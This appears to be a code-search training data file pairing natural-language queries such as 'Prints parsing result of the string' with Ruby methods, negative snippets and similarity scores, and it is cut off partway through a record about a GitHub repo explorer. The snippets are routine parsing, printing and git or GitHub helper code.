"0.60956514",
"0.6095516",
"0.6091132",
"0.6083786",
"0.6080191",
"0.60646784",
"0.6049668",
"0.6049668",
"0.6049668",
"0.6049668",
"0.604689",
"0.6045869",
"0.60434026",
"0.6023117",
"0.6015345",
"0.60099566",
"0.6001739",
"0.59993255",
"0.5991998",
"0.59865224",
"0.59849423",
"0.5978033",
"0.597509",
"0.597509",
"0.597509",
"0.59713817",
"0.59682125",
"0.59681994"
] |
0.0
|
-1
|
Prints parsing result of the string
|
def print_result(str)
begin
puts Terminal.green("syntax:")
stree = DocumentParser.new.parse(str).first
pp stree
if @transform
puts Terminal.green("model:")
pp DocumentTransformer.new.apply(stree)
end
rescue Pione::Parser::ParserError, Parslet::UnconsumedInput, Parslet::ParseFailed => e
msg = "Pione syntax error: %s (%s)" % [e.message, e.class.name]
@readline_mode ? puts(msg) : abort(msg)
rescue Pione::Model::PioneModelTypeError,
Pione::Model::VariableBindingError => e
msg = "Pione model error: %s (%s)" % [e.message, e.class.name]
@readline_mode ? puts(msg) : abort(msg)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def print_result(result)\n puts result.solutions\n result.fragments.each do |fragment|\n puts fragment\n end\n end",
"def print_result(formatted_result)\n puts formatted_result\n end",
"def pretty_print(result)\n result.each_with_index do |line, index|\n puts \"#{index+1}:\\t #{type_to_sym(line[:type])}\\t#{line[:value]}\"\n end\n end",
"def parsed\n @parsed ||= Array(output).flatten.map do |char|\n Esc.escape(char.to_s) + \"\\n\"\n end.join\n end",
"def get_parse(s);end",
"def display_result(result)\r\n puts result\r\n end",
"def print\n puts @text\n end",
"def pretty_print pp\n pp.pp eval(self.asPPString)\n end",
"def pretty_print pp\n pp.pp eval(self.asPPString)\n end",
"def print_results(name, result, score, separator = \"\\n\")\n print \" \" + name.ljust(24).slice(0, 23) +\n \" Result: \" + result.ljust(10).slice(0, 9) +\n \" Score: \" + score.to_s.ljust(10).slice(0, 9) +\n separator\n end",
"def to_s\n @parser ||= WikitextParser.new\n @parsed ||= @parser.parse(@string).to_s\n end",
"def print\n puts string\n end",
"def raw_output(s)\n s\n end",
"def print\r\n puts self.output\r\n end",
"def pr str='', &blk\n err=nil\n begin\n if block_given?\n result = yield\n else\n result = interpret str\n end\n rescue Parslet::ParseFailed => err\n end\n [result, err]\nend",
"def parse_output(output)\n Formatter.parse_output(output)\n end",
"def show(arg)\n print (\"Result = #{arg.s}\\n\")\nend",
"def pretty_result(result)\n puts \"You made it in #{result.length - 1} moves! Here is your path:\"\n result.each { |position| puts position.to_s }\nend",
"def format_output(string)\n test_name, test_puts, test_result, test_duration = if string =~ /(([.EF]):)\\s*\\(([\\d.]+)\\)\\s*\\z/m\n test_parts_with_duration(string)\n else\n test_parts_without_duration(string)\n end\n \n if test_name.nil?\n out = htmlize(string)\n else\n out = \" #{format_test_result(test_result)} #{format_test_name(test_name, test_result)}\"\n out << \": (#{test_duration})\" if test_duration\n out << \"<br/>\"\n out << %Q!<div style=\"background-color:#E6E6E6; padding: 5px 10px\">#{htmlize(test_puts)}</div>! unless test_puts.strip.empty?\n end\n \n out\nend",
"def pretty_format(text)\n parser.parse(text)\n end",
"def parse(str); end",
"def stringOutput\n\t\tend",
"def stringOutput\n\t\tend",
"def colorize_result(string, custom_schema = schema)\n if @running\n check = ''\n colorful = tokenize(string).map do |kind, token|\n check << token\n colorize_string token, custom_schema[kind]\n end.join\n\n # always display the correct inspect string!\n check == string ? colorful : string\n else\n string\n end\n end",
"def output_formatted_text(output_string)\n puts output_string\n end",
"def display ( )\n puts 'Parser states: ' + @states.size.to_s\n\n @states.each do |st|\n\tputs\n\tputs '*' * 80\n\tputs 'state: ' + st.statename\n\tputs 'branches: '\n\tst.branches.each do |br|\n\t puts ' ' + @states[br].statename\n\tend\n end\n end",
"def flymake_parser(result)\n if $debug\n puts \"#DEBUG flymake parser \\n\"\n end\n\n #TODO\n out = \"\"\n op = JSCompiler.op\n unless result.nil?\n file = JSCompiler.file\n format_type = JSCompiler.format_type\n\n num = result.size\n result.each do |message|\n out << \"#{file}:#{message['lineno']}: #{op.singularize}: #{message['type']}: \" + message[op.singularize] +\"\\n\"\n out << \"#{file}:#{message['lineno']}: #{op.singularize}: #{message['line']} \\n\" unless message['line'].nil?\n out << \"#{file}:#{message['lineno']}: #{op.singularize}: \" + print_under_character(message['charno'])\n end\n else\n out = \"No #{op}\"\n end\n return out\n end",
"def print\n result = \"\"\n messages.each do |message|\n result += Thimbl::Utils.parse_time( message['time'] ).strftime( '%Y-%m-%d %H:%M:%S' )\n result += \" #{message['address']}\"\n result += \" > #{message['text']}\"\n result += \"\\n\"\n end\n \n return result\n end",
"def parse(text); end",
"def output(text)\n puts text\n end",
"def display_analyze_output(json, options={})\n return unless json['tokens']\n\n output = [] << ''\n\n max_length = json['tokens'].map { |d| d['token'].to_s.size }.max\n\n output << Helpers.table(json['tokens'].map do |t|\n [\n t['position'],\n t['token'].ljust(max_length+5).ansi(:bold),\n \"#{t['start_offset']}–#{t['end_offset']}\",\n t['type']\n ]\n end).to_s\n output.join(\"\\n\")\n end",
"def play_back_string(str)\n full_buffer = ''\n str.split(\"\\n\").each do |buf|\n begin\n full_buffer += buf\n # unless this is puppet code, otherwise skip repl keywords\n if PuppetDebugger::InputResponders::Commands.command_list_regex.match(buf)\n debugger.out_buffer.write('>> ')\n else\n debugger.parser.parse_string(full_buffer)\n debugger.out_buffer.write('>> ')\n end\n rescue Puppet::ParseErrorWithIssue => e\n if debugger.multiline_input?(e)\n full_buffer += \"\\n\"\n next\n end\n end\n debugger.out_buffer.puts(full_buffer)\n debugger.handle_input(full_buffer)\n full_buffer = ''\n end\n end",
"def print_out_line\n\t\t\t#p ['id', id, 'ctd', ctd]\n\t\t\t#p rcp.results.zip(rcp.results.map{|r| send(r)})\n\t\t\tname = @run_name\n\t\t\tname += \" (res: #@restart_id)\" if @restart_id\n\t\t\tname += \" real_id: #@real_id\" if @real_id\n\t\t\tbeginning = sprintf(\"%2d:%d %-60s %1s:%2.1f(%s)\", @id, @job_no, name, @status.to_s[0,1], @run_time.to_f / 60.0, @nprocs.to_s)\n\t\t\tif @status == :Incomplete and @completed_timesteps\n\t\t\t\tbeginning += sprintf(\" %d steps \", @completed_timesteps)\n\t\t\telsif @percent_complete\n \t\t\t\tbeginning+=sprintf(\" %3s%1s \", percent_complete, \"%\")\n\t\t\tend\n\t\t\tif ctd\n\t\t\t\t#beginning += sprintf(\"Q:%f, Pfusion:%f MW, Ti0:%f keV, Te0:%f keV, n0:%f x10^20\", fusionQ, pfus, ti0, te0, ne0)\n\t\t\tend\n\t\t\tbeginning += \" ---#{@comment}\" if @comment\n\t\t\tbeginning\n\t\tend",
"def play_back_string(str)\n full_buffer = ''\n str.split(\"\\n\").each do |buf|\n begin\n full_buffer += buf\n # unless this is puppet code, otherwise skip repl keywords\n if keyword_expression.match(buf)\n out_buffer.write('>> ')\n else\n parser.parse_string(full_buffer)\n out_buffer.write('>> ')\n end\n rescue Puppet::ParseErrorWithIssue => e\n if multiline_input?(e)\n full_buffer += \"\\n\"\n next\n end\n end\n out_buffer.puts(full_buffer)\n handle_input(full_buffer)\n full_buffer = ''\n end\n end",
"def html\n start = sprintf(\"%s%s%s\",\n EventPrinter::HTML::colorize(:nothing, EventPrinter::Vocab::Command) * @parse_results[:indent],\n EventPrinter::HTML::colorize(:standard, EventPrinter::Vocab::Command[0..1]),\n EventPrinter::HTML::colorize(\n @parse_results[:command].first ? :standard : :nothing, EventPrinter::Vocab::Command[2..2] << \" \"))\n text = (@parse_results[:command][1..-1].map do |hash|\n EventPrinter::HTML::colorize(hash[:color], hash[:text])\n end).join(\"\")\n EventPrinter::HTML::line(start + text)\n end",
"def print_result(res)\n return if self.suppress_output\n if res.kind_of? String\n puts res\n elsif res.kind_of? Rush::SearchResults\n widest = res.entries.map { |k| k.full_path.length }.max\n res.entries_with_lines.each do |entry, lines|\n print entry.full_path\n print ' ' * (widest - entry.full_path.length + 2)\n print \"=> \"\n print res.colorize(lines.first.strip.head(30))\n print \"...\" if lines.first.strip.length > 30\n if lines.size > 1\n print \" (plus #{lines.size - 1} more matches)\"\n end\n print \"\\n\"\n end\n puts \"#{res.entries.size} matching files with #{res.lines.size} matching lines\"\n elsif res.respond_to? :each\n counts = {}\n res.each do |item|\n puts item\n counts[item.class] ||= 0\n counts[item.class] += 1\n end\n if counts == {}\n puts \"=> (empty set)\"\n else\n count_s = counts.map do |klass, count|\n \"#{count} x #{klass}\"\n end.join(', ')\n puts \"=> #{count_s}\"\n end\n else\n puts \"=> #{res.inspect}\"\n end\n end",
"def parse; end",
"def parse; end",
"def parse; end",
"def raw\n text = (@parse_results[:command][1..-1].map {|a| a[:text]}).join(\" \")\n ((EventPrinter::Vocab::Command + \" \") * (@parse_results[:indent] + 1)) + text\n end",
"def to_stdout\n\t\t\tresult_string = String.new\n\t\t\thashes = Array.new\n\n\t\t\[email protected]_by {|k| k[:scanner] }.each do |result|\n\t\t\t\tunless hashes.include? result[:hash].downcase\n\t\t\t\t\tresult_string << \"#{result[:hash]}:\\n\"\n\t\t\t\t\thashes << result[:hash].downcase\n\t\t\t\tend\n\t\t\t\tresult_string << \"#{result[:scanner]}: \".rjust(25) + \"#{result[:result]}\\n\"\n\t\t\tend if @results != nil\n\n\t\t\tresult_string\n\t\tend",
"def puppet_output(bolt_result)\n bolt_result.dig(0, 'value', 'stderr').to_s + \\\n bolt_result.dig(0, 'value', 'stdout').to_s\n end",
"def output\n @text\n end",
"def basic_output()\n temp_string = String.new()\n\n if (@utype != \"\")\n temp_string = temp_string + \"#{@utype} = \"\n end\n temp_string = temp_string + @commandName\n temp_string = temp_string + \"\\n\"\n @keywordPairs.each {|array| temp_string = temp_string + \"\\t#{array[0]} = #{array[1]}\\n\" }\n temp_string = temp_string + \"..\\n\"\n\n temp_string = temp_string + \"$Parents\\n\"\n @parents.each do |array|\n temp_string = temp_string + \"$\\t#{array.utype} = #{array.commandName}\\n\"\n end\n temp_string = temp_string + \"..\\n\"\n\n temp_string = temp_string + \"$Children\\n\"\n @children.each {|array| temp_string = temp_string + \"$\\t#{array.utype} = #{array.commandName}\\n\" }\n temp_string = temp_string + \"..\\n\"\n\n end",
"def output text\n puts text\n end",
"def prettify(str); end",
"def parse_validation(script_output)\n\n script_output = script_output.split(\"\\n\")\n puts script_output\n puts \"hello!\"\n refseq = script_output[0]\n charmap = script_output[1]\n obsvseq = script_output[2]\n status = script_output[3]\n changes = script_output[4]\n\n lastmap = 0;\n val_html = \"\";\n map_hash = { \"Y\" => \"vfonly\",\n \"G\" => \"both\",\n \"B\" => \"vronly\",\n \"!\" => \"mismatch\",\n \"?\" => \"unsure\" }\n unless status.include? \"unequal\" #if lengths refseq obsvseq equal\n val_html += \"Observed Sequence:<br/>\"\n seqouts = [obsvseq]\n seqouts.each do |seq|\n i=0;\n seq.each_byte do |nt|\n if lastmap == 0 \n val_html += \"<span class = #{map_hash[charmap[i].chr]}>#{nt.chr}\"\n elsif lastmap == charmap[i]\n val_html += \"#{nt.chr}\"\n else\n val_html += \"</span><span class = #{map_hash[charmap[i].chr]}>#{nt.chr}\"\n end\n lastmap = charmap[i]\n i+=1\n end\n #break line\n val_html += \"<br/>\"\n end\n\n val_html += \"</span>\"\n else #there was an error \n val_html += status\n val_html += \"<br/>Reference sequence:<br/>\"\n val_html += refseq\n val_html += \"<br/>Observed sequence:<br/>\"\n val_html += obsvseq\n val_html += \"<br/>\"\n end\n\n unless changes.nil?\n changes = changes.split('|')\n val_html += \"<br/>Mismatches:<br/>\"\n changes.each do |c|\n val_html += c\n val_html += \"<br/>\"\n end\n end\n\n return val_html\n end",
"def parsed; end",
"def parsed; end",
"def print_out_line\n #p ['id', id, 'ctd', ctd]\n #p rcp.results.zip(rcp.results.map{|r| send(r)})\n name = @run_name\n name += \" (res: #@restart_id)\" if @restart_id\n name += \" real_id: #@real_id\" if @real_id\n beginning = sprintf(\"%2d:%d %-60s %1s:%2.1f(%s) %3s%1s\", @id, @job_no, name, @status.to_s[0,1], @run_time.to_f / 60.0, @nprocs.to_s, percent_complete, \"%\")\n if ctd and fusionQ\n beginning += sprintf(\"Q:%f, Pfusion:%f MW, Ti0:%f keV, Te0:%f keV, n0:%f x10^20\", fusionQ, pfus, ti0, te0, ne0)\n end\n beginning += \" ---#{@comment}\" if @comment\n beginning\n end",
"def printResult(result)\r\n puts\r\n puts \" Least number of times you can copy paste a \"\r\n puts \" print statement: #{result}\"\r\n puts \"======================== END ========================\\n\\n\"\r\nend",
"def print\n puts \"Mencetak : #{@text}\" \n end",
"def string_parser(string_input)\n string_input.lines.each.with_index(1) do | line, index |\n puts \"Line #{index}: #{line}\"\n end\nend",
"def pretty_print(pp)\n pp.text \"#{task.name}.#{name}\"\n pp.nest(2) do\n pp.breakable\n pp.text \"tracked = #{@tracked}\"\n pp.breakable\n pp.text \"readers = #{@readers.size}\"\n pp.breakable\n pp.text \"filtered = #{(@filter!=nil).to_s}\"\n @connections.each do |connection|\n pp.breakable\n if connection.is_a?(OutputPort::Connection)\n pp.text \"connected to #{connection.port.task.name}.#{connection.port.name} (filtered = #{(connection.filter!=nil).to_s})\"\n end\n if connection.is_a?(OutputPort::CodeBlockConnection)\n pp.text \"connected to code block\"\n end\n end\n end\n end",
"def print\n require 'rexml/document'\n rexml_doc = REXML::Document.new(doc.to_xml)\n formatter = REXML::Formatters::Pretty.new\n formatter.compact = true\n formatter.write(rexml_doc, $stdout)\n $stdout.write(\"\\n\")\n nil\n end",
"def puts str\n %s(puts (callm str __get_raw))\n end",
"def parse\n end",
"def pretty_print\n puts `ruby -r pp -e 'pp(#{@template.inspect})'`\n end",
"def parse_answer(answer, file)\n return \"Result #{file}:\\n#{answer}\"\n end",
"def print_result ptree, path_prefix\n puts dump(ptree, path_prefix)\n end",
"def show(output = $stout)\n pp(@code,output)\n end",
"def output_stdout!\n\t\tmsg = @connection.gets\n\t\tbasic_parse(msg)\n\tend",
"def pretty_print(pp)\n pp.text \"Frames: #{available_frames.to_a.sort.join(\", \")}\"\n\n pp.breakable\n pp.text \"Needed Transformations:\"\n transforms = each_transformation.map { |tr| [tr.from, tr.to] }.sort\n if !transforms.empty?\n pp.nest(2) do\n pp.breakable\n pp.seplist(transforms) do |tr|\n pp.text \"%s => %s\" % tr\n end\n end\n end\n\n pp.breakable\n pp.text \"Frame/Port Associations:\"\n associations = each_annotated_port.map { |port, frame| [port.name, frame] }.sort\n if !associations.empty?\n pp.nest(2) do\n pp.breakable\n pp.seplist(associations) do |portdef|\n pp.text \"data of %s is in frame %s\" % portdef\n end\n end\n end\n\n pp.breakable\n pp.text \"Transform Inputs and Outputs:\"\n ports = each_transform_port.map { |port, transform| [port.name, transform.from, transform.to] }.sort\n if !ports.empty?\n pp.nest(2) do\n pp.breakable\n pp.seplist(ports) do |portdef|\n pp.text \"%s: %s => %s\" % portdef\n end\n end\n end\n end",
"def print_summary\r\n traverse do |node|\r\n print node.effectively_skipped? ? '-' : '+'\r\n case\r\n when node.test? then print 'T'\r\n when node.suite? then print 'S'\r\n when node.static? then print 'X'\r\n else print '?'\r\n end\r\n print node.indented_name(' ')\r\n tags = node.effective_tags.to_a\r\n unless tags.empty?\r\n # highlight the tags that are explicit on this node\r\n tags = tags.map {|tag| node.explicit_tags.include?(tag) ? \"*#{tag}\" : tag }\r\n print \" [#{tags.join(',')}]\"\r\n end\r\n print \"\\n\"\r\n end\r\n end",
"def pretty_print\n @word_display.each do |letter|\n print \"#{letter} \"\n end\n puts \"\"\n end",
"def pretty_text_pokemon(pokemon_ins)\n puts \"#{pokemon_ins.name.capitalize}\\n\"\n print \"Type: #{pokemon_ins.types_array[0].name.capitalize}\" \n print \"/#{pokemon_ins.types_array[1].name.capitalize}\" if pokemon_ins.types_array[1] \n puts \"\"\n puts \"\\n#{pokemon_ins.pokedex_entry}\"\n puts \"\\nHeight: #{(pokemon_ins.height * 3.937).round(2)} in / #{(pokemon_ins.height * 0.1).round(2)} m\"\n puts \"Weight: #{(pokemon_ins.weight / 4.536).round(1)} lb / #{(pokemon_ins.weight * 0.1).round(2)} kg\"\n end",
"def parse\n @parsed\n end",
"def get_parser_response(para)\n para.gsub! /\\n/, '.' # Remove newlines\n para += \"\\n\" # add one at the end\n socket = TCPSocket.open('localhost', 2020)\n socket.set_encoding(\"UTF-8\")\n socket.print(para)\n return socket.read\n end",
"def print_result( exec, prior = nil )\n line = \"\"\n orig_result_start( exec, line )\n super( exec, prior, line )\n @out << line\n end",
"def print\n puts @subject\n puts @text\n end",
"def print_tags(res)\n res.each do |line_num, line|\n puts \"Line #{line_num}: #{line.strip}\"\n end\n end",
"def parse_output(_report, _result, _targets); end",
"def display_string\n op_match = /#{SORTEDOPS.map { |o| Regexp.quote(o) }.join(\"|\")}/\n popen = Regexp.quote(OPEN_PAREN)\n pclose = Regexp.quote(CLOSE_PAREN)\n text = self.to_s\n text.gsub(/#{popen}(.*?)#{pclose}/) { |m|\n payload = $1.dup\n count = 0\n payload.gsub(op_match) do |pm|\n count += 1\n pm\n end\n if count == 1\n payload.strip\n else\n OPEN_PAREN + payload.strip + CLOSE_PAREN\n end\n }.strip\n end",
"def inspect\n return \"#<#{self.class} (uninitialized)>\" if @string.nil?\n return \"#<#{self.class} fin>\" if eos?\n\n if @current.zero?\n return format(\"#<%{class} %<cur>d/%<len>d @ %{after}>\",\n class: self.class.to_s,\n cur: @current,\n len: @string.length,\n after: inspect_after.inspect)\n end\n\n format(\"#<%{class} %<cur>d/%<len>d %{before} @ %{after}>\",\n class: self.class.to_s,\n cur: @current,\n len: @string.length,\n before: inspect_before.inspect,\n after: inspect_after.inspect)\n end",
"def success(string)\n puts\n puts \"[#{colorize(\"OK\", \"green\")}] #{ string }\"\nend",
"def print_output(up_result)\n puts \"################# STDOUT #####################\"\n puts up_result.stdout\n puts \"################# STDERR #####################\"\n puts up_result.stderr\n puts \"################# END #####################\"\n end",
"def print_instruction\n splits = sliced_print_range\n range = parsed_command_of(splits)\n report(range)\n end",
"def testOutput\n\t\tputs @health\n\t\tputs @total_mana\n\t\tputs @remaining_mana\n\t\tputs @side\n\t\tp @hand\n\tend",
"def output(str)\n str = str.to_s.strip\n str = nil if str && str.length == 0\n str ||= \"Completed (no output)\"\n output = Time.now.strftime(\"%H:%M:%S\") + \" [#{self}] \"\n output << str\n print output + \"\\n\"\n output\n end",
"def text\n text = ''\n\n loop do\n type, data, = get\n\n text << case type\n when :BULLET then\n _, space, = get # SPACE\n \"*#{' ' * (space - 1)}\"\n when :LABEL then\n _, space, = get # SPACE\n \"[#{data}]#{' ' * (space - data.length - 2)}\"\n when :LALPHA, :NUMBER, :UALPHA then\n _, space, = get # SPACE\n \"#{data}.#{' ' * (space - 2)}\"\n when :NOTE then\n _, space = get # SPACE\n \"#{data}::#{' ' * (space - data.length - 2)}\"\n when :TEXT then\n data\n when :NEWLINE then\n unget\n break\n when nil then\n break\n else\n raise ParseError, \"unhandled token #{@current_token.inspect}\"\n end\n end\n\n text\n end",
"def pretty(object)\n PP.pp(object, out)\n end",
"def to_s\n soup = @@boards_templates[1].to_s.scan(/...../)\n soup.each {|x| puts \"#{x}\\n\"} \n end",
"def testi_display_result\n\t\t\tputs testi_stats\n\t\tend",
"def pretty_print(q)\n start_time = (self.start_time.to_f * 1e9).to_i\n end_time = (self.end_time.to_f * 1e9).to_i\n q.group 0 do\n q.breakable\n q.text \"Name: #{@name}\\n\"\n q.text \"Span ID: #{@id}\\n\"\n q.text \"Parent ID: #{@parent_id}\\n\"\n q.text \"Trace ID: #{@trace_id}\\n\"\n q.text \"Type: #{@type}\\n\"\n q.text \"Service: #{@service}\\n\"\n q.text \"Resource: #{@resource}\\n\"\n q.text \"Error: #{@status}\\n\"\n q.text \"Start: #{start_time}\\n\"\n q.text \"End: #{end_time}\\n\"\n q.text \"Duration: #{duration.to_f}\\n\"\n q.group(2, 'Tags: [', \"]\\n\") do\n q.breakable\n q.seplist @meta.each do |key, value|\n q.text \"#{key} => #{value}\"\n end\n end\n q.group(2, 'Metrics: [', ']') do\n q.breakable\n q.seplist @metrics.each do |key, value|\n q.text \"#{key} => #{value}\"\n end\n end\n end\n end",
"def parse(arg = nil, puts_enabled: false)\n result = ''\n reader_initializer = reader_initializer_class.new(arg)\n errors = error_validator_class.new(arg, reader_initializer).validate\n\n on_success(errors) do\n result = prepare_result(reader_initializer)\n end\n\n on_failure(errors) do\n result = prepare_errors(errors)\n end\n\n puts result if puts_enabled\n result\n end",
"def parse;\n \"Parsing method\";\n end",
"def parse(string)\n @string = string\n ast = parse_string string\n show_syntax_error unless ast\n ast\n end",
"def output(o);printf o;end",
"def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n \n pp nds\n puts nds \nend",
"def print\n results :print => true\n end",
"def print_out_line\n name = @run_name\n name += \" (res: #@restart_id)\" if @restart_id\n name += \" real_id: #@real_id\" if @real_id\n beginning = sprintf(\"%2d:%d %-60s %1s:%2.1f(%s) %3s%1s\", @id, @job_no, name, @status.to_s[0,1], @run_time.to_f / 60.0, @nprocs.to_s, percent_complete, \"%\")\n if ctd\n #beginning += sprintf(\"Q:%f, Pfusion:%f MW, Ti0:%f keV, Te0:%f keV, n0:%f x10^20\", fusionQ, pfus, ti0, te0, ne0)\n end\n beginning += \" ---#{@comment}\" if @comment\n beginning\n end",
"def show(value)\n print (\"Result = #{value.result}\\n\")\nend",
"def print(str)\n @output.write(Iconv.iconv(@options[:encoding], \"utf-8//ignore\", str))\n end",
"def text(result)\n [result.text] if result\n end",
"def print(text)\n @output += %(#{text}\\n)\n puts text\n end",
"def to_s\r\n pretty_output\r\n end",
"def testResult(code)\n require 'sicuro'\n logger.info\"................................#{code}\"\n @codeResult = Sicuro.eval(code)\n logger.info \"............................ #{@codeResult}\"\n (@codeResult.stdout).gsub(/(?:\\n\\r?|\\r\\n?)/, '<br>')\n end",
"def parseShow(output, server, user, pass)\n status = \"\"\n lines = []\n output.split(\"\\n\").each do |line|\n if (line =~/^Queued/)\n status =\"queued\"\n elsif (line =~ /^Running/)\n status = \"running\"\n elsif (line =~/^Completed/)\n status = \"completed\"\n elsif(line =~/^CLI|^CGI/)\n job, u, group, p, desc = line.chomp.split(\" \")\n if (status == \"running\" && u == user)\n done = `dc_show -job #{job} -user #{user} -password #{pass} -server #{server}`\n if (done =~/([0-9|\\.]+\\%)/)\n status = status + \" \" + $1\n end\n end\n if (status != \"completed\")\n lines.push([job, user, server, status].join(\"\\t\"))\n end\n end\n end\n return lines\nend",
"def show (i)\n puts \"@#{@line}:\" \\\n \"\\t#{@output[i].scan(/.{4}|.+/).join(\"_\") unless @instruction.nil?}\" \\\n \"\\t#{@cmd[:comments]}\"\n end",
"def print_tokens\n\t\[email protected] do |token|\n\t\t\tprint \"token #{token.get_type} value (#{token.get_value}) \"\n\t\t\tputs \"at line: #{token.get_nline}, column: #{token.get_ncolumn}\" \n\t\tend\n\tend"
] |
[
"0.6663321",
"0.63769186",
"0.61823565",
"0.61276263",
"0.604199",
"0.6023145",
"0.5989256",
"0.5921824",
"0.5921824",
"0.5905837",
"0.58760023",
"0.58733827",
"0.58558637",
"0.58009136",
"0.5785853",
"0.57829183",
"0.5766339",
"0.5734457",
"0.57337666",
"0.57240635",
"0.57044643",
"0.5701886",
"0.5701886",
"0.56836766",
"0.5656901",
"0.5651814",
"0.56421715",
"0.56421155",
"0.56395835",
"0.56084037",
"0.560209",
"0.5602004",
"0.56008166",
"0.5594256",
"0.558763",
"0.5584656",
"0.55561846",
"0.55561846",
"0.55561846",
"0.55448395",
"0.5544484",
"0.55429196",
"0.5537003",
"0.55361074",
"0.55269706",
"0.55249476",
"0.5515506",
"0.55008763",
"0.55008763",
"0.5483214",
"0.5472778",
"0.54656154",
"0.54491216",
"0.5448813",
"0.54422784",
"0.543902",
"0.5433434",
"0.5430233",
"0.5414723",
"0.54143804",
"0.54002",
"0.5393869",
"0.53881633",
"0.5381915",
"0.5379465",
"0.53793216",
"0.5374762",
"0.536756",
"0.53638136",
"0.53576535",
"0.5355931",
"0.5346679",
"0.5344492",
"0.5338719",
"0.53387016",
"0.5337387",
"0.5335312",
"0.5334399",
"0.5331159",
"0.53273565",
"0.53243273",
"0.5323977",
"0.5323949",
"0.5321475",
"0.531267",
"0.5312488",
"0.53076476",
"0.5301975",
"0.52951854",
"0.52947104",
"0.52860683",
"0.5285057",
"0.528007",
"0.5279591",
"0.5276596",
"0.52736294",
"0.52708054",
"0.52696884",
"0.5269299",
"0.5268897"
] |
0.7097808
|
0
|
Starts Github Repo Explorer
|
def run
greet
menu
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def execute\n current = GitHub::PullRequest.current\n\n if current\n cli.say \"Opening Pull Request #{current.number}\"\n cli.open current.pull_request.html_url\n end\n end",
"def launch(path)\n # force leading slash\n path.insert(0, '/') unless path[0] == '/'\n url = \"https://github.com/#{repo_github_path + path.chomp}\"\n # use open if on OSX\n if RUBY_PLATFORM.downcase.include? \"darwin\"\n %x{open #{url}}\n else\n puts url\n end\n end",
"def start\n if !File.exists?(Commitron.file_path)\n log `mkdir -p #{Commitron.file_path}`\n end\n\n head = Github.new.git_data.references.find(Commitron.user, Commitron.repo, 'heads/master')['object']['sha']\n Commitron.store head\n run\n log(\"commitron is now started\")\nend",
"def github\n\n @github = Github.new({ client_id: CONFIG[:GITHUB_CLIENT_ID], client_secret: CONFIG[:GITHUB_CLIENT_SECRET] })\n end",
"def main()\n\n # check that 3 arguments have been given, otherwise exit\n if ARGV.length < 3\n puts \"You haven't given enough arguments.\"\n exit\n end\n\n # the first argument should be the path to the local repository\n repo_path = ARGV[0]\n\n # the second argument should be the relevant GitHub username\n username = ARGV[1]\n\n # the third argument should be the repository name on GitHub\n repo_name = ARGV[2]\n\n # invoke link_commits with the arguments\n link_commits(repo_path, username, repo_name).each { |link| puts link }\nend",
"def github_fork(user_repo, fork_dir='~/code/fork')\n Dir.chdir File.expand_path(fork_dir)\n system \"hub clone #{user_repo}\"\n if $? == 0\n Dir.chdir user_repo[/[^\\/]+$/]\n exec 'hub fork'\n else\n \"Clone failed\"\n end\n end",
"def open(args, options)\n _closest_branch = closest_branch\n\n if _closest_branch\n branch_name = clean_branch_name_for( _closest_branch )\n link = @url_generator.branch_url( branch_name )\n\n launch link\n else\n fail \"Could not find closest remote branch for sha: #{@git_object.oid.inspect}\"\n end\n end",
"def call\n if git_remote_command =~ /[email protected]:(.+).git/\n \"https://github.com/#{Regexp.last_match(1)}\"\n else\n git_remote_command.sub('.git', '').chomp\n end\n end",
"def configure_github_access\n settings = ::GitReview::Settings.instance\n if settings.oauth_token && settings.username\n @github = Octokit::Client.new(\n :login => settings.username,\n :access_token => settings.oauth_token,\n :auto_traversal => true\n )\n @github.login\n else\n configure_oauth\n configure_github_access\n end\n end",
"def run_gist\n `open http://gist.github.com/#{gist_id}` if gist_id\n end",
"def url\n \"http://github.com/#{@account}/#{name}/tree/master\"\n end",
"def github(name, ref = 'master')\n gitrepo \"github.com\", name, ref\nend",
"def git(*args)\n cd { run(*['git'] + args) }\n end",
"def github_fetcher\n return @github_fetcher if defined?(@github_fetcher)\n\n @github_fetcher = github_url && GemsBond::Fetchers::Github.new(github_url).tap(&:start)\n end",
"def initialize_markdown_repo\r\n # initialize folders and git repo\r\n FileUtils.mkdir_p MARKDOWN_FOLDER unless File.exists?(MARKDOWN_FOLDER) # Make sure that path exists\r\n Dir.chdir(MARKDOWN_FOLDER)\r\n system('git init')\r\n Dir.chdir('..')\r\n end",
"def configure_github_access\n if Settings.instance.oauth_token\n @github = Octokit::Client.new(\n :login => Settings.instance.username,\n :oauth_token => Settings.instance.oauth_token\n )\n @github.login\n else\n configure_oauth\n configure_github_access\n end\n end",
"def github\n Log.fatal('You did not configure GitHub yet.') unless @github\n @github\n end",
"def gh_open(path)\n url = url_base + path.chomp\n # use open if on OSX\n if RUBY_PLATFORM.downcase.include?(\"darwin\")\n %x{open #{url}}\n else\n puts url\n end\nend",
"def run\n super\n\n entity_name = _get_entity_name\n\n # Search users\n search_uri = \"https://api.github.com/search/users?q=#{entity_name}\"\n response = _get_response(search_uri)\n _parse_items(response[\"items\"],\"GithubUser\")\n\n # Search respositories\n search_uri = \"https://api.github.com/search/repositories?q=#{entity_name}\"\n response = _get_response(search_uri)\n _parse_items(response[\"items\"],\"GithubRepository\")\n\n #search_uri = \"https://api.github.com/search/issues?q=#{entity_name}\"\n #response = _search_github(search_uri,\"GithubIssue\")\n #_parse_items response[\"items\"]\n\n\n end",
"def start\n extract\n if managed?\n args = [\"java\", \"-jar\", fcrepo_binary] + fcrepo_options.merge(port: port).map { |k, v| [\"--#{k}\", \"#{v}\"].reject(&:empty?) }.flatten\n\n @pid = spawn(env, *args)\n\n # Wait for fcrepo to start\n until status\n sleep 1\n end\n end\n end",
